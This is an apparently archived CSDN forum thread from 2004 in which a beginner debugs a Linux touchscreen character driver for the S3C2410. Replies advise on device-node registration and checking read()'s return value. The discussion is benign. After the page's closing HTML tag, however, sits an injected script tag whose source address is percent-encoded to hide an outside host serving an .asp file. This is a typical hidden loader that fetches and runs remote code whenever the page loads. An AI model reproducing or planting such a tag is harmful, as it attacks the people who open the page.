📄 嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 linux-unix社区 - 内核及驱动程序研究区 - csdn社区 community_csdn_net.htm
字号:
<DIV class=ReplyLine><SPAN class=ReplyFloor>1楼</SPAN> <SPAN
class=ReplyUserName>LinHanLao</SPAN> (<SPAN
class=ReplyUserNickName>凌寒</SPAN>) <IMG alt="四级用户 该版得分小于等于2000分,大于1000分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user4.gif">
回复于 <SPAN class=ReplyTime>2004-08-05 09:47:54</SPAN>
得分 <SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>你必须在你的驱动程序里用devfs_register()注册一个/dev/s3c2410-ts,
<BR> 或者用mknod直接建立一个,<ldd2>上有详细的说明,去看看。 <BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22922444><A name=Reply_22922444>
<DIV class=ReplyLine><SPAN class=ReplyFloor>2楼</SPAN> <SPAN
class=ReplyUserName>syncrow</SPAN> (<SPAN
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif">
回复于 <SPAN class=ReplyTime>2004-08-05 11:08:02</SPAN> 得分
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>谢谢,我已经找到了在dev的文件夹下找到的!谢谢你的关注 <BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22923463><A name=Reply_22923463>
<DIV class=ReplyLine><SPAN class=ReplyFloor>3楼</SPAN> <SPAN
class=ReplyUserName>syncrow</SPAN> (<SPAN
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif">
回复于 <SPAN class=ReplyTime>2004-08-05 11:33:57</SPAN> 得分
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>我把应用程序的 <BR> main() <BR> {
<BR> int buf[10]; <BR> int fd =
open("/dev/touchscreen",0); <BR> if(-1==fd)
<BR> printf("Can't open TS!"); <BR> while(1)
<BR> { <BR> read( fd,buf,10); <BR>
for( int i=0; i<10;i++) <BR>
printf('buf[%d]= %d\n",i,buf[i]); <BR> } <BR> }
<BR> 这样就可以访问触摸屏了,但是在运行的时候输出的总是那一段数据(10个),不断的重复,我都没有接触触摸屏.
<BR> static ssize_t s3c2410_ts_read(struct file
*filp, char *buffer, size_t count,
loff_t *ppos) <BR> { <BR> TS_RET ts_ret;
<BR> <BR> retry: <BR> if
(tsdev.head != tsdev.tail) { <BR> int
count; <BR> count = tsRead(&ts_ret);
<BR> if (count) copy_to_user(buffer, (char
*)&ts_ret, count); <BR> return count;
<BR> } <BR> else { <BR> if
(filp->f_flags & O_NONBLOCK) <BR> return
-EAGAIN; <BR> interruptible_sleep_on(&(tsdev.wq));
<BR> if (signal_pending(current)) <BR> return
-ERESTARTSYS; <BR> goto retry; <BR> }
<BR> 程序里面可以看出,如果没有接触触摸屏的话,应该是要等待循环(goto retry);不应该不停的输出的呀!
<BR> <BR> (在没有接上硬件的时候也可以输出数据而且和接了硬件后输出的数据是一样的,请帮我看看
<BR> !! <BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22923505><A name=Reply_22923505>
<DIV class=ReplyLine><SPAN class=ReplyFloor>4楼</SPAN> <SPAN
class=ReplyUserName>syncrow</SPAN> (<SPAN
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif">
回复于 <SPAN class=ReplyTime>2004-08-05 11:35:18</SPAN> 得分
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>我把应用程序的 <BR> main() <BR> {
<BR> int buf[10]; <BR> int fd =
open("/dev/touchscreen",0); <BR> if(-1==fd)
<BR> printf("Can't open TS!"); <BR> while(1)
<BR> { <BR> read( fd,buf,10); <BR>
for( int i=0; i<10;i++) <BR>
printf('buf[%d]= %d\n",i,buf[i]); <BR> } <BR> }
<BR> 这样就可以访问触摸屏了,但是在运行的时候输出的总是那一段数据(10个),不断的重复,我都没有接触触摸屏.
<BR> static ssize_t s3c2410_ts_read(struct file
*filp, char *buffer, size_t count,
loff_t *ppos) <BR> { <BR> TS_RET ts_ret;
<BR> <BR> retry: <BR> if
(tsdev.head != tsdev.tail) { <BR> int
count; <BR> count = tsRead(&ts_ret);
<BR> if (count) copy_to_user(buffer, (char
*)&ts_ret, count); <BR> return count;
<BR> } <BR> else { <BR> if
(filp->f_flags & O_NONBLOCK) <BR> return
-EAGAIN; <BR> interruptible_sleep_on(&(tsdev.wq));
<BR> if (signal_pending(current)) <BR> return
-ERESTARTSYS; <BR> goto retry; <BR> }
<BR> 程序里面可以看出,如果没有接触触摸屏的话,应该是要等待循环(goto retry);不应该不停的输出的呀!
<BR> <BR> (在没有接上硬件的时候也可以输出数据而且和接了硬件后输出的数据是一样的,请帮我看看
<BR> !! <BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22924837><A name=Reply_22924837>
<DIV class=ReplyLine><SPAN class=ReplyFloor>5楼</SPAN> <SPAN
class=ReplyUserName>freasy</SPAN> (<SPAN
class=ReplyUserNickName>崔沙</SPAN>) <IMG alt="四级用户 该版得分小于等于2000分,大于1000分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user4.gif">
回复于 <SPAN class=ReplyTime>2004-08-05 12:11:45</SPAN>
得分 <SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>你看看read的返回值呢? <BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22924873><A name=Reply_22924873>
<DIV class=ReplyLine><SPAN class=ReplyFloor>6楼</SPAN> <SPAN
class=ReplyUserName>freasy</SPAN> (<SPAN
class=ReplyUserNickName>崔沙</SPAN>) <IMG alt="四级用户 该版得分小于等于2000分,大于1000分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user4.gif">
回复于 <SPAN class=ReplyTime>2004-08-05 12:12:45</SPAN> 得分
<SPAN>0</SPAN> </DIV>
<DIV
class=ReplyContext><BR>看看这个值是不是由你的驱动程序返回的,也许你的操作错误,使得你的请求没到达你的驱动程序就由操作系统检查出非法,就直接返回了
<BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_22930373><A name=Reply_22930373>
<DIV class=ReplyLine><SPAN class=ReplyFloor>7楼</SPAN> <SPAN
class=ReplyUserName>syncrow</SPAN> (<SPAN
class=ReplyUserNickName>天天</SPAN>) <IMG alt="一级用户 该版得分小于等于100分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user1.gif">
回复于 <SPAN class=ReplyTime>2004-08-05 14:47:56</SPAN> 得分
<SPAN>0</SPAN> </DIV>
<DIV class=ReplyContext><BR>是的,我试过read的返回值是-1,看一个数据是否是驱动程序返回的方法是什么?请相告!谢谢!
<BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_23049157><A name=Reply_23049157>
<DIV class=ReplyLine><SPAN class=ReplyFloor>8楼</SPAN> <SPAN
class=ReplyUserName>zhjie374</SPAN> (<SPAN
class=ReplyUserNickName>zhjie374</SPAN>) <IMG alt="二级用户 该版得分小于等于500分,大于100分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user2.gif">
回复于 <SPAN class=ReplyTime>2004-08-10 15:05:05</SPAN>
得分 <SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>看看read的返回值!!! <BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV>
<DIV class=ReplysRegion id=ReplysRegion_23077923><A name=Reply_23077923>
<DIV class=ReplyLine><SPAN class=ReplyFloor>9楼</SPAN> <SPAN
class=ReplyUserName>wfwater</SPAN> (<SPAN
class=ReplyUserNickName>淡水</SPAN>) <IMG alt="三级用户 该版得分小于等于1000分,大于500分"
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/user3.gif">
回复于 <SPAN class=ReplyTime>2004-08-11 13:19:19</SPAN>
得分 <SPAN class=ReplyPoint>5</SPAN> </DIV>
<DIV class=ReplyContext><BR>assize_t read(int fields,void
*buff,size_t nbytes); <BR> <BR>
返回:读到的字节数,若已经到达文件尾为0,若出错为-1 <BR></DIV>
<DIV class=GoTop><A title=回到主题
href="http://topic.csdn.net/t/20040804/18/3242898.html#Top">Top</A></DIV></DIV></DIV>
<DIV id=CorrelatedTopicsRegion>
<DIV id=CorrelatedTopicsRegionInfo>相关问题</DIV>
<UL>
<LI><A
href="http://topic.csdn.net/t/20040804/18/3242898.html">嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答</A>
<LI><A
href="http://topic.csdn.net/t/20040830/14/3322357.html">请教.Net应用程序、MFC应用程序及WIN32应用程序的区别和特点?!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3405857.html">掌握嵌入式Linux应用、驱动、移植!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3405938.html">掌握嵌入式Linux应用、驱动、移植!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3406116.html">掌握嵌入式Linux应用、驱动、移植!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3406119.html">掌握嵌入式Linux应用、驱动、移植!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3406127.html">掌握嵌入式Linux应用、驱动、移植!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3406128.html">掌握嵌入式Linux应用、驱动、移植!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3405939.html">掌握嵌入式Linux应用、驱动、移植!</A>
<LI><A
href="http://topic.csdn.net/t/20040924/15/3405982.html">掌握嵌入式Linux应用、驱动、移植!</A>
</LI></UL></DIV></DIV></DIV><!--Bottom Begin-->
<DIV id=CFBig align=center>
<HR align=center>
<DIV id=CFContent>
<DIV id=CFBiaoShi><A
href="http://www.hd315.gov.cn/beian/view.asp?bianhao=010202001032100010"><IMG
height=48 alt=""
src="嵌入式系统字符驱动程序(应用)问题(初学),请帮忙回答 Linux-Unix社区 - 内核及驱动程序研究区 - CSDN社区 community_csdn_net.files/BiaoShi.gif"
width=40 border=0></A></DIV>
<P><A href="http://www.csdn.net/intro/intro.asp?id=2">网站简介</A>-<A
href="http://www.csdn.net/intro/intro.asp?id=5">广告服务</A>-<A
href="http://www.csdn.net/map/map.shtm">网站地图</A>-<A
href="http://www.csdn.net/help/help.asp">帮助信息</A>-<A
href="http://www.csdn.net/intro/intro.asp?id=9">联系方式</A>-<A
href="http://www.csdn.net/english/">English</A>-<A
href="mailto:webmaster@csdn.net">问题报告</A></P>
<P><A href="http://community.csdn.net/tree/treenodeData/sitemap.htm"><FONT
color=#f4f3ee>CSDN</FONT></A>北京百联美达美数码科技有限公司 版权所有 京 ICP 证
020026 号 <A href="http://community.csdn.net/tree/treenodeData/sitemap.htm"><FONT
color=#f4f3ee>CSDN</FONT></A></P>
<P>© 2000-04, CSDN.NET, All Rights Reserved</P></DIV>
<HR align=center>
</DIV><!--Bottom End--></DIV></BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -